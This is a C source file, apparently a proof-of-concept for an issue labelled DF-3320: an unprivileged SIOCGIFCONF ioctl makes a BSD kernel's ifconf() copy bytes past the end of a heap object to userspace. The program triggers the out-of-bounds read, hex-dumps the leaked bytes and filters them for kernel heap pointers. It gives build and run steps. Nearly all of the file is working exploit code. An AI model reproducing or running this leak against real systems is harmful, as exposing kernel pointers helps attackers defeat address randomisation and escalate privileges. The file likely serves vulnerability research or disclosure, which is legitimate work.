DF-3320 / leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 | /* * DF-3320 leak trigger (run as UNPRIVILEGED user, e.g. nobody). * * SIOCGIFCONF has no privilege check (ifioctl -> ifconf(), * sys/net/if.c:1996-1997). For an ifaddr whose sa_len > 16 ifconf() does * * copyout(sa, &ifrp->ifr_addr, sa->sa_len); (sys/net/if.c:2590-2592) * * i.e. it copies sa_len (200) bytes starting at ia->ia_addr (offset 312 * of a 360-byte struct in_ifaddr) straight to userspace -- a 152-byte * out-of-bounds read past the end of the heap object whose tail contains * the adjacent slab's struct ifaddr (kernel heap pointers). * * Entry walk: entries with sa_len <= 16 are fixed 32-byte ifreqs; longer * entries are packed as ifr_name[16] followed by sa_len bytes. * * Build: cc -O -o leak leak.c * Run: ./leak (as nobody) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/sockio.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> int main(int argc, char **argv) { const char *want = (argc > 1) ? argv[1] : "127.200.0.200"; char *buf; struct ifconf ifc; unsigned char *pos, *end, *sa; size_t buflen = 65536; int s, i, found = 0; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); exit(1); } buf = malloc(buflen); memset(&ifc, 0, sizeof(ifc)); ifc.ifc_len = buflen; ifc.ifc_buf = buf; if (ioctl(s, SIOCGIFCONF, &ifc) < 0) { perror("SIOCGIFCONF"); exit(1); } printf("SIOCGIFCONF: %d bytes of interface data\n", ifc.ifc_len); pos = (unsigned char *)buf; end = pos + ifc.ifc_len; while (pos + sizeof(struct ifreq) <= end) { char name[IFNAMSIZ + 1]; u_char sa_len, sa_fam; size_t entsize; memcpy(name, pos, IFNAMSIZ); name[IFNAMSIZ] = 0; sa = pos + IFNAMSIZ; /* &ifr.ifr_addr */ sa_len = sa[0]; sa_fam = sa[1]; entsize = (sa_len <= sizeof(struct sockaddr)) ? sizeof(struct ifreq) : IFNAMSIZ + sa_len; if (sa_fam == AF_INET && sa_len > sizeof(struct sockaddr)) { struct in_addr ia; memcpy(&ia, sa + 4, 4); printf("entry: %-8s sa_len=%-3u family=%d addr=%s\n", name, sa_len, sa_fam, inet_ntoa(ia)); if (strcmp(inet_ntoa(ia), want) == 0) { found = 1; printf("---- leaked sockaddr (%u bytes) ----\n", sa_len); for (i = 0; i < sa_len; i++) { if ((i % 16) == 0) printf("%3d: ", i); printf("%02x ", sa[i]); if ((i % 16) == 15) printf("\n"); } printf("---- candidate kernel pointers past " "offset 48 (object end) ----\n"); for (i = 48; i + 8 <= (int)sa_len; i += 4) { unsigned long long v; memcpy(&v, sa + i, 8); if (v >= 0xffff800000000000ULL && (v & 0x7) == 0) printf(" off %3d: " "0x%016llx\n", i, v); } } } pos += entsize; } if (!found) { printf("no entry with sa_len>16 for %s (setup not run?)\n", want); exit(1); } return (0); } |